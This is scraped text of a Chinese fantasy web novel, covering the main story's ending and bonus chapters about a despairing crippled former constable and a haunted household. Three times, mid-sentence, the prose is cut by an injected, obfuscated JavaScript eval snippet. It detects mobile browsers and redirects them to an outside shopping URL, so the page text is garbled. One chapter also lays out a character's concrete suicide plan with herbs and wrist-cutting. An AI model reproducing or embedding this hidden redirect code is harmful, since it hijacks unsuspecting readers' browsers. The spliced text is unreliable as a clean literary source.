“来啦来啦来啦!”小草精如一阵小旋风一样从外面冲进来。她的怀中,抱着一只皮毛雪白的猫儿,有一双幽绿如宝石的美丽眸子。 这只猫,是百草道人送过来的。据说,当日百草道人得知李刻青身死的消息,在蓬莱岛悲伤的大哭了一场。 之后有一次,百草道人出岛义诊,恰好,有一个病人家中的母猫生育了。 那是只黑色的母猫,共生了五只猫崽子,四只随她,是黑色,唯有最小的一只,与他们都不相同,通体雪白,优雅美丽。 正好,百草道人为这病人治好了病,这病人感激的无以复加,看百草道人端详那白猫许久,便将这只小猫送给了他。百草道人十分高兴,将这猫带回岛上,养了一年。 接着,百草道人觉得段匆估计也想念李刻青那小子的紧,于是,就将这外形肖像他的白猫送到天门宗这里来。 段匆一开始还十分感动,这白猫是真的像极了李刻青, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小草精恍然大悟:“哦——” “你……”段匆欲言又止。 极地的大当家闻玉,就是那日也来助他们对付混沌的紫衣女子,她想邀请小草精一起去南海之滨,共建极地。极地本就是小草精的家,她也很想回到那里,可是,她却最终还是犹豫了,理由是,她想陪在段匆身边。 段匆知道,小草精哪里是舍不得她呢,她会御剑之术,而小草精身体轻盈,趁着一阵风就可以飞往自己想去的任何地方,他们若想见面,还不容易吗? 只是,小草精担心她。 尽管她一再说都已过了一年了,她已经想开、要好好生活了,小草精还是不放心。 去极地的计划,也就一直搁置了。 段匆最终还是没有说,决定来个先斩后奏。 她去找有容师姐下棋,毫无疑问,输了。 而且,这次赖的子儿更多,可输的却更惨。 小白窝在她怀里,一直懒洋洋的半阖着眼睛观赏着棋盘上的局势,待三盘下罢,小白不屑的一掀眼皮,爪子一扬,段匆嗷的惨叫一声:“你这混球!这次又为什么抓我!” 苏有容故作叹息:“师妹,它大概是觉得你三盘连输,觉得自己丢了面子。” 段匆:“……” “砰!” 夜空中忽然炸开了烟花,首先只有这一朵,很快,便有第二朵、第三朵接二连三的炸开。仿佛无数春花盛放,火树银花,绚烂至极。 烟花声中,段匆道:“师姐,这一年来,多谢你们的照顾了。” 苏有容深深看她一眼,半晌,笑道:“师妹,与我们还有什么好客气。” “也是。”段匆笑了笑,站起身,身影在夜空烟花光芒折射中显得有些单薄,却又很是坚定与执着。她微微躬身,道:“那师姐,我先回去了。” 苏有容看着她,微笑道:“嗯,多注意安全。” 夜越来越深了,小弟子们都已睡下,万籁俱寂。段匆背着一只包袱,抱着白猫,悄悄推开天门宗的山门,沿着石阶而下。 待到走尽了天门宗的石阶,段匆在最下方,抬头回望。只见天门宗山门巍峨,浩大森严,而它的地底下,埋葬着这世间最凶残的傀儡,和最美丽的,会喵喵叫的猫妖。 段匆说:“小白,傀儡会疼吗?” 小白:“喵。” “在这么黑的地底,千年万年,会孤独吗?” “喵。” 段匆微笑,转身的瞬间,有一阵清朗的夜风拂面而过,像是某种温柔的告别,却也像是某种崭新的开始。 明日一早,发觉她不见了,周浮生或许会嘀咕着她这么弱,一人出去闯荡,遇到危险那还得了,宁芙或许会没好气的说一句走了好,师姐则一定微微一笑,她今夜就已经知道了。 而小草精,会跟着闻玉回到极地,当年,是她亲手毁了她的家,而如今,小草精会和极地的那些人一起,亲手将当年的家重建的更好。 当然,小草精或许仍旧会哭,会试图寻找她。可是那时,她已走出很远,或许是在万里冰封的北境,或许是在雄浑苍茫的大漠,或许是在天似穹庐的原野,也或许是在春光明媚的江南。 他说,他的一生,都在追随着她的脚步。 可是,她其实并不确定,自己这一生,是否真正得到了自己想要的。人的一生,到底该怎样度过,她不知道。但是,心中却已经不再惶恐。 段匆微笑抬头,只见明月当空,照彻千古长夜。 千万载岁月的流逝,一代又一代人的更迭,名利富贵,帝王将相,英雄豪杰,到最后,终不过是消失在无垠的时间长河之中。人的一生太微小,也太短暂,而她,愿用这短暂的一生,去寻找一个答案。 ——正文(完) 91. 番外三 淅淅沥沥的小雨缠绵不停,将青石板街润洗的恍如明镜。 窄而狭长的小巷中,松上明拄着一根以树枝粗削成的拐杖,一步一顿,艰难前行。 他走的极为缓慢,也极为吃力,咬着牙,面上青筋暴起,豆大的水珠从脸颊上一刻也不停的汇聚、滚落,可是雨水明明没有那样大,只不过是轻微的会打湿发梢,落湿衣衫—— 原来,那不是雨水,而是汗水。 走着走着,一不留神,松上明踩到了一块黏腻湿滑的青苔,顿时脚底打滑,绊倒在地。手中的拐杖摔到一旁,同时,怀中的草药也被摔了出来。 牛皮纸豁开,草药散落一地。 松上明清秀苍白的脸上霎时就带了哭意,顾不得摔跤的疼痛,手忙脚乱的将散落的草药掬起来,重新放到牛皮纸上包好。 可是,被雨水浸透了的草药,再煮的时候还有效果吗? 松上明想到这里,就难过茫然的不知怎么办才好。 但饶是如此,他还是将草药一丝不落的都捡了回来,重新珍重的放回怀中。 然后他再够到那根拐杖,想将自己撑起来,可是双腿剧痛,尤其那条被打断的腿,摔了跤,又浸泡了雨水,一时就如千万根针细细密密的扎着,松上明疼的嘴唇发紫,最终,放弃了再度站起来的打算。 他就这样,爬着,蠕动着,一步一步的,回到了自己的院子。 时至傍晚,家家户户升起了炊烟,可松上明是个孤儿,无父无母,也未娶妻,家中只他一口人,推开院门,冷冷清清。 他缓慢爬过小院,爬过门槛,进了屋子。 屋中十分简陋,只一张床,一张木桌,两条长木凳,木桌上放着一盏昏暗的油灯。角落处,有一方灶台,旁边一口大缸,缸里稀稀拉拉的装着一点米。除此外,家徒四壁,空空荡荡。 松上明忍着疼痛将湿衣服换下来,借着煤油灯光芒打量自己的那条断腿。 看起来,正正常常,和另一条好腿没什么两样。 可是,断了,就是断了。 他问过王大夫,这腿还有没有可能再长好,王大夫摸着长长的胡子,不无可惜:“耽搁喽,耽搁喽!你要是早点来找我,或许我还能给你接好,可是现在,断骨那里的皮肉早已经死透了,接也没法接、长也长不回了!” 松上明一开始是绝望的,可是,还能怎么样呢?这世道,活着就已经不错了。 于是他绝望过后,开始想像以前一样,谋个差事,混口饭吃。 可是,他拖着一条断腿,卖力气的活儿都干不了。而那些文绉绉的活儿,比如给人家做诗、画画儿、写对联,或者,去当个私塾老师,这些活儿,松上明却又读的书不够多,不够文化,也干不了。 一来二去,松上明无处可去,只能成天待在自己的院子里,眼看着米缸一点点的空下去,只有心如死灰,却是无能为力。 一天又一天,永安郡的细雨仍旧在缠绵,天永远是雾霭霭的、暗沉沉的,松上明的心境也越来越绝望。 他生活中唯一的明亮,便是院中的那颗红梅树。 从前他还在府衙当捕快的时候,攒了几个钱,买下了这座小院。 他的钱虽不多,但其实可以买一座比这里更大些的小院。 但是,他看上了这座小院中的那颗红梅树。 那棵红梅树,又高又大,枝桠怒放,想来已经生长了几十载了。 松上明买下这座小院的时候恰逢初春,红梅傲然绽放,铺天盖地,俱是热烈鲜艳的色彩。将这座本简陋质朴的小院点缀的生机盎然、轰轰烈烈。 那时,松上明以为自己今后的人生也会如这红梅,鲜妍,热烈,怒放。 可是未料到…… 松上明苦笑一声,透过窗格子望向院中。 春日已将尽,红梅也开始凋零。每过一个夜晚,地上便会铺上厚厚一层落红。 不管多么惊艳美丽,还是逃不过枯萎成泥的命运。 松上明关了窗。 屋里霎时暗下来,他舍不得挑去煤油灯灯花,燃烧的愈亮,便愈是费油。他已经算好了日子,至多不过三日,院中红梅就会凋零殆尽。而当最后一朵梅花凋落的时候,便是他松上明离开这人世的时候。 今日,他谎称自己的断腿夜夜疼的他睡不着觉,找王大夫开了一付可以让人暂时失去痛觉的草药,待到最后一朵梅花飘落,他便会将煤油灯灯花挑去,让它在最后时刻燃烧的极为明亮,还会将米缸中所有的米都煮成饭,再也不用节省,舒舒服服的吃饱最后一顿。 然后,他会喝下这包草药,割破手腕,静静躺在床上。 枕头下,他压了一纸遗书。 那个发现他死在这里、葬了他的人,会得到这座小院,还有他特意留下来没有动过的一份积蓄。 松上明将被雨水泡过的草药小心翼翼铺开在桌上,拨动着,让草药尽快晾干,并在心中默默恳求着这草药不会被泡去了效力。 难过了这么多时候,最后死的时候,他希望能死的舒服一点。 从米缸中挖了一小撮米,煮了碗清的能照出人影的粥,喝罢,松上明熄掉煤油灯,一瘸一拐的上了床。 屋外,缠绵的细雨仍旧一刻也不停,沙沙,沙沙…… 梅花一朵接一朵的打着旋儿,落在地上。 - 细细的雨丝落在池塘,砸出一个个极小的凹陷,将池塘变得更加波光粼粼。 “还是没捉到?” 新请来的捉妖师一脸为难的低着头:“这……” 花府的男主人,一身月色长袍,于凉亭中负手而立,望着碧波荡漾的水面。 闻此言,他慢慢的转过身来。只见,那是一张温润如玉的脸庞,还带着几分和善的笑意。 “罢了,许是那东西实在太狡猾,没有捉到,也非是修士之错。” 捉妖师闻此,两眼闪闪发光,期冀的试探道:“那……赏金……” 悬赏单上说,若是能抓住那个不详的东西,花府愿付白银千两、黄金百两,绫罗绸缎、珍珠宝石,更是想拿多少就拿多少。此次他虽未抓住那东西,但,见花府男主人一副好说话的样子,捉妖师便大着胆子,索要起来了。 花府男主人道:“赏金?”他唇角一弯:“自是有的。” 捉妖师大喜,立马就离开凉亭,去房间中将自己那个大箱子拿出来,他也不贪心,金银细软,能够装满这一箱也就足够了。反正花家乃此地首富,财大气粗,拿这一箱,也装不穷他们。 捉妖师带着自己的箱子,由两个小丫鬟带着去了库房。 一个小丫鬟上前,用手中钥匙打开了好几只黑檀木箱。 恰逢月光从窗纸中透进,照在箱中之物上,捉妖师只觉自己的眼睛都被耀眼的光芒刺到,只见,金灿灿的黄金,明晃晃的白银,皎洁雪白的珍珠,晶莹剔透的首饰…… 捉妖师眼冒精光,如饕鬄一样,匆忙将眼前财物一捧一捧倒入自己的箱子中。 “咚。咚。咚。” 捉妖师突然听到了一个脚步声,在寂静的库房,显得格外清晰。 同时,箱子中的财宝上似笼罩了一层朦胧的红光。 捉妖师纳闷的抬起头,转身—— 他的瞳孔倏地缩小! 下一刻想起什么,哆哆嗦嗦从胸口掏出几张黄符,匆忙往面前这黑衣人身上贴去,可是,黑衣人脚尖一点,一个后空翻,轻易便避开他的黄符,跃到了他的背后。 同时,手中灵光一闪,一团绳索样的黑气顿时缠绕到捉妖师的脖子上。捉妖师奋力挣扎,可是无论如何也挣脱不了,只能脸憋的越来越青紫,眼珠子越来越凸出,最后,嘴唇张开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687622|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舌头一吐—— 竟是被生生勒死在这里。 “啪,啪,啪!” 又有一个人走了进来,伴着一阵掌声。 那杀了捉妖师的黑衣人微微躬身:“卫公子。” 被唤作“卫公子”的,一身月色长袍,面如冠玉,眉眼温润,正是花府的男主人,卫玠。 卫玠笑道:“谢天师的本领,果然不同寻常。” 那黑衣人肤色白皙,眼若桃花,轻佻风流的笑道:“卫公子过奖了。待识衣抓得那作祟的东西,恐怕方才当的起卫公子赞誉。” 卫玠点头,接着,叫来两个小丫鬟,命她们将地上的尸体处理掉。 两个小丫鬟倒也全然不畏惧死人,一人抬头,一人抬脚,便将这尸体晃晃悠悠的抬了出去。 库房重新落锁,谢天师打着手中的红灯笼,跟随卫玠离开了此地。 花府里出现一种不祥的东西,已经三年有余了。 这三年间,花府女主人花惜朝的孩子流产,男主人卫玠几次三番在自家府邸中遭遇性命之忧,莫名奇妙倒落的书架,莫名奇妙出现在床上的刀尖朝上的匕首,莫名奇妙的混进府里的杀人疯子…… 卫玠与花惜朝已经受够了。 可是,捉妖师请了一批又一批,却是没有一个能真正的捉住那东西。 卫玠不信,他不信。 那东西既能作乱,那便也一定能被捉住。 这三年间,他一刻也不停的一直请捉妖师,只可惜,那些捉妖师们听闻其他捉妖师都无所获,于是自己也开始不上心,装模作样的查探一番后,他们便一脸惋惜的说是自己已经尽力了,然后,便是两眼发光的索要财物。 一开始,他们要什么,卫玠便给什么。 可是后来,他失望了。 不知餍足的后果,便是吞噬自己。 走到后院,卫玠停在一扇门前,轻轻敲了敲。 里面传来沙哑的一声:“进来吧。” 卫玠推门而入,复又转身关上门。 房中布置的十分华丽,一盏又一盏烛台,高低错落的散布在各个角落。可是,此时,房间里的人却只点燃了桌上小小的一盏烛火,整个房间昏暗异常。 “惜朝。”卫玠柔声唤道。 烛火的光芒跳跃在瘦削苍白的女子脸上,女子呆呆抬起头:“夫君。” 卫玠看着她枯槁模样,坐到她身旁,怜惜的道:“惜朝,今日我又请了一个新的捉妖师,姓谢,本领很是不错。你放宽心,或许这个人,真的能抓到那谋害了我们孩儿的怪物。” 花惜朝怔怔的点点头,却仍是一脸疲倦和出神。 她咬着唇,好似有什么不吐不快,终于,她鼓起勇气,抬起头对卫玠说:“夫君,你说,花府变成这样,会不会是……” 卫玠眸色一冷:“惜朝,你多想了。” “可是,我们这一辈子什么都没有招惹过,没有谁会平白无故的想要害我们,只有……她……” “不会的,”卫玠将妻子抱入自己怀中,轻抚她的背,“那个人,不过是个凡人。这世上,也早已无人知晓她。” “是吗?”花惜朝眼神失焦茫然。 “是啊,惜朝,”卫玠声音温柔,一字一句如同诱哄,“今夜你一定是糊涂了,你忘了,她,就是你啊。” “对啊,”花惜朝痴痴的笑了起来,“是我。” “是我。” 卫玠温和的看着花惜朝,他们青梅竹马,相识数载,感情一向很好。他的手环紧花惜朝的腰,低头,吻上花惜朝的嘴唇:“惜朝,我们还会再有孩子的。” 最后一盏蜡烛熄灭,屋内彻底陷入黑暗。唯余女人如同哭泣般的呻吟,以及男人克制的、温和的喘息。 屋外,细雨不知何时又开始缠绵,沙沙的打响窗户下的那丛芭蕉。 92. 番外三 青石板街,小巷悠长。 一袭天蓝色的裙摆如同花瓣一样绽放开来,裙裾下的鞋履素白,左右鞋尖上各缀着一颗小小的银铃铛,走起路来,铃铛清脆作响。 “沙沙,沙沙。” 女子抬头看了看天空,有些发愁:“又下雨了啊。” 她撑起一把天青色的油纸伞,加快步履在小巷之间穿梭。鞋尖上的铃铛如被风吹拂,叮叮当当,霎是好听。 最终,女子停在了一扇木门前。 她将耳朵贴在木门上,果真听到了一个有气无力的猫叫声。女子弯唇一笑,伸手扣响木门。 可是,却迟迟无人回应。 “请问,主人在家吗?” 院内寂静无声。 想了想,女子绕过木门,走至围墙边。 这座小院的围墙并不高,自外面可以看见院中红梅树的枝桠,女子足尖轻轻一点,身姿轻盈的便跃过了围墙,来到院内。 春日已将尽,红梅花瓣厚厚的在地上落了一层,树上稀稀拉拉的剩了没几朵花。缠绵的细雨变大了些许,于是,仅剩的几朵梅花,也被雨水冲掉了。 唯余光秃秃的枝桠,仍在傲然独立。 - 梅树下,梅花瓣上,蜷缩着一只白猫儿。此时身上的皮毛已尽数被雨水打湿,因怕雨水落入眼中,于是眼皮有气无力的耷拉着,配上脏兮兮湿漉漉的皮毛,颇有几分可怜巴巴的意味。 风更斜,雨更大,猫儿愈发蜷缩,希望梅树的枝桠可以为自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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